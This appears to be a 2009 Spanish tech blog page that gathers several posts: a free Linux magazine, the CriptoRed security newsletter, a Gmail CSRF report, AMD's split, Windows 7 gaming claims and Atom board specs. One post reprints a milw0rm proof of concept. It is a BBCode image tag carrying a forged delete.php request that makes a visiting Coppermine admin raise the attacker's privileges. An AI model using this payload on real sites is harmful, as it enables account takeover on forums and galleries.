Número 1 de Informática Libre

Acaba de publicarse el primer número de una nueva revista gratuita dedicada a Linux y el software libre.

"Informática Libre", es una revista elaborada en Honduras y que está disponible para su libre descarga en formato PDF.

Algunos de los temas que trata este número son:
- Richard M. Stallman: Científico de la informática al servicio de la humanidad.
- Usa tu computadora sin disco duro.
- Los cibercafés pueden decir adiós a las Licencias.
- Razones para el uso del Software Libre en la educación.
- Herramientas libres en educación.
- Lo que se te ocurra… diseñalo con libertad.
- De todo para la oficina.
- Variedad para escuchar y ver sin restricciones.
- Juegos: Diversión para cipotes y adultos.
- Navega con seguridad.
- Y mucho más...

Descargar

Nuevos contenidos en la Red Temática CriptoRed (febrero de 2009)

Breve resumen de las novedades producidas durante el mes de febrero de 2009 en CriptoRed, la Red Temática Iberoamericana de Criptografía y Seguridad de la Información.

1. NUEVOS DOCUMENTOS PARA DESCARGA LIBRE DESDE CRIPTORED

* Documento que acompaña al vídeo con los mejores malos consejos en seguridad para redes WiFi (Eduardo Tabacman, Word, 2 páginas, España)
http://www.criptored.upm.es/guiateoria/gt_m488a.htm

* La seguridad en los documentos de identidad (Juan Crespo, Ciclo TASSI, pdf, 81 diapositivas, España)
http://www.criptored.upm.es/paginas/docencia.htm#catedraTASSI

2. NUEVOS DOCUMENTOS RECOMENDADOS PARA SU DESCARGA LIBRE DESDE OTROS SERVIDORES

* Informe de la Red de Sensores de INTECO del Mes de Enero de 2009 (España)
https://ersi.inteco.es/informes/informe_mensual_200901.pdf

* Guía de videovigilancia de la Agencia Española de Protección de Datos (España)
https://www.agpd.es/portalweb/canaldocumentacion/publicaciones/common/pdfs/guia_videovigilancia.pdf

* Vídeo: Los mejores malos consejos en seguridad para redes WiFi (España)
http://www.virusprot.com/VIDEO/WIFIERRORES.wmv

* White Paper: Data Loss In A Downturn - 10 Steps to Protecting High Value Information Assets and IP in association with Overtis Systems
http://mail.elsevier-alerts.com/go.asp?/bEEA001/qW0JMU8/xXEAMU8

* White Paper: CISO's Guide to Application Security in association with Fortify
http://mail.elsevier-alerts.com/go.asp?/bEEA001/qOPG7U8/x5RSHU8

* White Paper: Compliance with Data Handling Procedures in UK Government in association with Lumension
http://mail.elsevier-alerts.com/go.asp?/bEEA001/qKKF8U8/xJHX8U8

* White Paper: Enterprise Content Security: Lower Threats and Costs by Minimizing the Time to Protection in association with TrendMicro
http://mail.elsevier-alerts.com/go.asp?/bEEA001/qPKA1V8/xDGJAV8

3. CONGRESOS Y SEMINARIOS POR ORDEN CRONOLOGICO DE CELEBRACION

Marzo 25 al 27 de 2009: International Conference on Practical Applications of Agents and Multiagent Systems PAAMS 2009 (Salamanca - España)
http://paams.usal.es/

* Marzo 30 al 31 de 2009: Conferencia de Seguridad de la Información y Administración del Riesgo (Bogotá - Colombia)
http://www.isaca.org/Template.cfm?Section=Home&CONTENTID=46421&TEMPLATE=/ContentManagement/ContentDisplay.cfm

* Marzo 30 a abril 3 de 2009: Segunda Convención Internacional de Derecho Informático (Oviedo - España)
http://www.asimelec.es/Events/EventDetail.aspx?ID=115&OuTypeID=6&OuID=68

* Abril 20 al 24 de 2009: 18th International World Wide Web Conference WWW 2009 (Madrid - España)
http://www2009.org/

* Abril 23 al 25 de 2009: Cuarto Congreso Colombiano de Computación 4CCC (Bucaramanga - Colombia)
http://serverlab.unab.edu.co/4ccc

* Mayo 6 al 10 de 2009: 7th International Workshop on Security In Information Systems (Milán - Italia)
http://www.iceis.org/Workshops/wosis/wosis2009-cfp.htm

* Mayo 11 al 12 de 2009: V Congreso Iberoamericano de Telemática CITA 2009 (Gijón - España)
http://www.cita2009.com/

* Mayo 12 al 14 de 2009: Tercer Counter-eCrime Operations Summit CeCOS III (Barcelona - España)
http://www.antiphishing.org/events/2009_opSummit.html

* Junio 10 al 12 de 2009: 2nd International Symposium on Distributed Computing and Artificial Intelligence DCAI 09 (Salamanca - España)
http://dcai.usal.es/

* Junio 15 al 19 de 2009: Third IFIP WG 11.11 International Conference on Trust Management (West Lafayette - Estados Unidos)
http://projects.cerias.purdue.edu/IFIPTM/

* Junio 17 al 19 de 2009: IX Jornada Nacional de Seguridad Informática ACIS 2009 (Bogotá - Colombia)
http://www.acis.org.co/index.php?id=1246

* Junio 17 al 20 de 2009: Cuarta Conferencia Ibérica de Sistemas y Tecnologías de la Información (Póvoa de Varzim - Portugal)
http://www.aisti.eu/cisti2009/

* Junio 17 al 23 de 2009: IADIS Multi Conference on Computer Science and Information Systems 2009 (Algarve - Portugal)
http://www.mccsis.org/

* Junio 22 al 24 de 2009: E-Activity and Leading Technologies E-ALT2009 e InterTIC 2009 (Sevilla - España)
http://www.iask-web.org/e-alt09/e-alt09.html
http://www.iask-web.org/intertic09/intertic09.html

* Julio 5 al 8 de 2009: 14th IEEE Symposium on Computers and Communications (Sousse - Túnez)
http://www.comsoc.org/iscc/2009/

* Julio 8 al 10 de 2009: XV Jornadas de Enseñanza Universitaria de la Informática JENUI 2009 (Barcelona - España)
http://jenui2009.fib.upc.edu/

* Julio 13 al 16 de 2009: International Conference on Security and Management SAM '09 (Las Vegas - Estados Unidos)
http://www.world-academy-of-science.org/worldcomp09/ws/conferences/sam09

* Agosto 4 al 6 de 2009: Second International Conference on the Applications of Digital Information and Web Technologies (Londres � Reino Unido)
http://www.dirf.org/diwt2009/

* Septiembre 17 al 20 de 2009: 23rd International Conference SAER 2009 y Workshop eGovernance and Data Protection eG&DP 2009 (Varna - Bulgaria)
http://www.tu-sofia.bg/saer/

* Octubre 11 al 14 de 2009: IEEE 9th International Conference on Computer and Information Technology (Xiamen - China)
http://grid.hust.edu.cn/CIT2009/

* Octubre 19 al 21 de 2009: 3rd International Conference on Network and System Security NSS 2009 (Gold Coast - Australia)
http://nss.cqu.edu.au/

* Noviembre 16 al 18 de 2009: V Congreso Iberoamericano de Seguridad Informática CIBSI '09 (Montevideo - Uruguay)
http://www.fing.edu.uy/cibsi09

CONGRESOS ANUNCIADOS EN LA IACR:
* International Association for Cryptologic Research IACR Calendar of Events in Cryptology:
http://www.iacr.org/events/

4. CURSOS DE POSTGRADO, ESPECIALIDAD Y FORMACIÓN EN SEGURIDAD

* Puedes encontrar los enlaces en:
http://www.criptored.upm.es/paginas/eventos.htm#Cursos

5. OTRAS NOTICIAS SELECCIONADAS DEL MES DE FEBRERO DE 2009
Para ampliar estas noticias:
http://www.criptored.upm.es/paginas/historico2009.htm#feb09

* Más de 200 Universidades Iberoamericanas representadas en la Red Temática
http://www.criptored.upm.es/paginas/miembros_red_inst.htm

* Puesta en Marcha del Equipo de Seguridad M45 (España)
http://www.clustertic.net/m45

* Cursos Usos y Seguridad del DNIe y Técnicas Biométricas en Applus+ (España)
http://www.applusformacion.com

* Abierta Convocatoria para Envío de Artículos a la Revista SISTEMAS de ACIS (Colombia)
http://www.acis.org.co/

* Acto de Presentación del Libro Criptología y Seguridad (España)
http://www.etsit.upm.es/arbol-de-noticias.html?tx_ttnews%5Btt_news%5D=108&cHash=e64fe1b19b

* Presentación del Posgrado en Seguridad Informática de la UBA (Argentina)
http://www.fi.uba.ar/posgrados/index.php?cm=1&n=1&m=223&idl=916&idi=475

* Primer Encuentro de Seguridad Integral Seg2 de Red Seguridad y Borrmart (España)
http://www.criptored.upm.es/descarga/DobleProgramaSeg2_2009.pdf

* Nuevo Blog de Derecho Informático en México (México)
http://blog.derecho-informatico.org/

* Inicio del Máster en Buen Gobierno de las TIC de la Universidad de Deusto (España)
http://www.criptored.upm.es/descarga/Triptico_MAGTIC3.pdf

* Edición 2009 del Máster en Auditoría y Protección de Datos (España)
http://cpdp.uab.cat/postgraus/master_auditoria_proteccio_dades/esp/index.htm

* Nueva Edición de las Conferencias de Seguridad FIST en Madrid (España)
http://www.fistconference.org/?s=6&t=2

* V Versión de Asegúr@IT en el Auditorio del Instituto Tecnológico de Aragón (España)
http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032405039&Culture=es-ES

6. OTROS DATOS DE INTERES EN LA RED

* Número actual de miembros en la red: 754
202 universidades y 283 empresas representadas
http://www.criptored.upm.es/paginas/particulares.htm

* Estadísticas: 20.488 visitas, con 78.098 páginas solicitadas y 32,14 GigaBytes servidos en febrero de 2009.
http://www.criptored.upm.es/estadisticas/awstats.www.criptored.upm.es.html.

7. V CONGRESO IBEROAMERICANO DE SEGURIDAD INFORMÁTICA CIBSI 2009
- Del 16 al 18 de noviembre, Montrevideo - Uruguay
- Fecha límite para el envío de trabajos: 15 de abril de 2009
http://www.fing.edu.uy/cibsi09

febrero 2009
http://www.criptored.upm.es/paginas/historico2009.htm#feb09

Via hispasec

Vulnerabilidad en Gmail - Grave?

Ni es la primera de este tipo ni tampoco me atrevo a llamarla nueva, porque al parecer Google fue informado en Agosto de 2007 de esta vulnerabilidad, que no ha solucionado porque le parece difícilmente explotable.

El descubridor es un español (Vicente Aguilera, de ISecAuditors) que ha decidido publicar hoy una descripción y prueba de concepto.

Se trata de una vulnerabilidad del tipo CSRF, que permitiría a un atacante cambiar la contraseña de un usuario de Gmail sin su conocimiento.

Via kriptopolis

Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation

+--------------------------------------------------------------------------+
| Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC |
+--------------------------------------------------------------------------+
| by Juri Gianni aka yeat - staker[at]hotmail[dot]it |
| http://coppermine-gallery.net |
| Don't add me on msn messenger. |
| This vulnerability can be named as "bbcode img tag script injection" |
+--------------------------------------------------------------------------+
| Proof of Concept (an example,to understand it) |
+--------------------------------------------------------------------------+
URL: http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no
[img]URL[/img]
+--------------------------------------------------------------------------+
| Modify [ID] with your user id. |
| Go http://[host]/[path]/displayimage.php?album=random&pos=[album id] |
+--------------------------------------------------------------------------+
Insert the below code into a new message

hey admin,nice web site :)
[img]http://[host]/[path]/delete.php?id=u3&u3=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no[/img]

+-------------------------------------------------------------------------+
| The fake image doesn't show errors,you'll see "hey admin,nice web site" |
| You'll become admin when the real admin will visit the page |
+-------------------------------------------------------------------------+

# milw0rm.com [2009-02-26]

AMD se divide

Hace tiempo que se anunció la división de la empresa en dos compañías independientes y muy orientadas a su propia visión de negocio, y ahora dicho proyecto se ha completado con un único objetivo: competir con más garantías frente a Intel.

La empresa AMD que mantendrá ese nombre se centrará en el diseño y desarrollo de los procesadores y chips gráficos (y chipsets) tradicionales, y dispondrá de una plantilla de 11.000 trabajadores.

Por su parte, la temporalmente llamada The Foundry Company se llevará a 3.000 empleados y se encargará de la producción de esos chips de AMD. Ambas empresas tendrán un accionista mayoritario común, el gobierno de Abu Dhabi a través de la empresa llamada Advanced Technology Investement Corp (ATIC) controlada por Mubadala Development Co.

Via theinquirer

Windows 7 "será excelente para los videojuegos", dijo Microsoft

Así lo prometió Chris Lewis, vicepresidente de Microsoft para el negocio de entretenimiento interactivo. Mencionó que el sucesor del Windows Vista es "más robusto y rápido" como plataforma para videogames







"Windows 7 será excelente para juegos, sin dudas". "Son todas buenas noticias. Es más robusto y rápido, y los ciclos de pruebas están revelando muchas promesas".

Esas son las principales definiciones que entregó el ejecutivo de Microsoft sobre el comportamiento de los videogames en Windows 7 frente al Vista.

En una entrevista con GamesIndustry, Lewis agregó que el sistema operativo seguirá apoyándose en la plataforma Games for Windows, sello con el que se publican miles de videojuegos compatibles con ese sistema operativo.

Actualmente, los altos requerimientos de memoria del Windows Vista obligan a tener una placa de video potente para poder disfrutar de un juego de manera adecuada.

En igual sentido, explicó que la compañía seguirá trabajando en el desarrollo de videojuegos.

“Estamos encantados, muy conscientes de que hay una fuerte comunidad de gamers”, dijo y agregó que “no todos los juegos de consola se prestan para la PC. Cuando es apropiado brindamos ambas posibilidades y sino no lo hacemos. Seguiremos haciendo eso”.

“Ambas plataformas pueden coexistir muy bien, y como compañía estamos en una muy buena y única posición acerca de que tenemos un legado en la PC. Seguiremos enfocados en ello”, remató el ejecutivo.

Via infobae

Tarjetas madre con procesador Intel Atom del tamaño de una tarjeta de credito

La empresa Toradex sacó a la venta placas del tamaño de una tarjeta de crédito, y aunque el tammaño de las tarjetas es bastante pequeño sus características son muy buenas, veamos:








CPU:
Intel® Atom™ Z530
1.6 GHz
533MHz Front Side Bus

Memory:
32kByte Instruction Cache
24kByte L1 Cache
512kByte L2 Cache
Hyper Thread
512MB DDR2 533 MHz (on board)
2GB Solid State Flash Disk (on board)

Chipset and Video Controller:
Intel® System Controller Hub US15W
Integrated Intel® Graphics, Intel® GMA 500
Dual Independent Screen
HDTV/HD capable
Decoder for MPEG2(HD) /H2.64

Interfaces:
1 PCIe x1 (externally available)
ExpressCard
10/100/1000 Mbit LAN
Intel® High Definition Audio (24bit/96kHz)
1 Serial ATA (via IDE Bridge)
7x USB 2.0 (1 channel configurable as client)
MicroSD slot on board
2 SDIO (4/8bit)
LVDS Single Channel 18/24 bit WXGA 1366x768
VGA out
TV out
LPC
SMB
I2C (via Embedded Controller)
8 GPIO (via Embedded Controller)

Supported Operating Systems:
Windows XP, XP Embedded, Vista
Windows CE 6.0
Linux
VxWorks

Available Carrier Boards:
Lily (COM Express Type 1 Version)
This is a modification of the COM Express Type 2 Carrier Board for Woodpecker:
- only one COM Express connector (COM Express Type 1)
- no Chrontel SDVO to VGA DAC (VGA directly available on Robin)
- no PATA interface
- only one SD Card slot

Revisar precios


Via theinquirer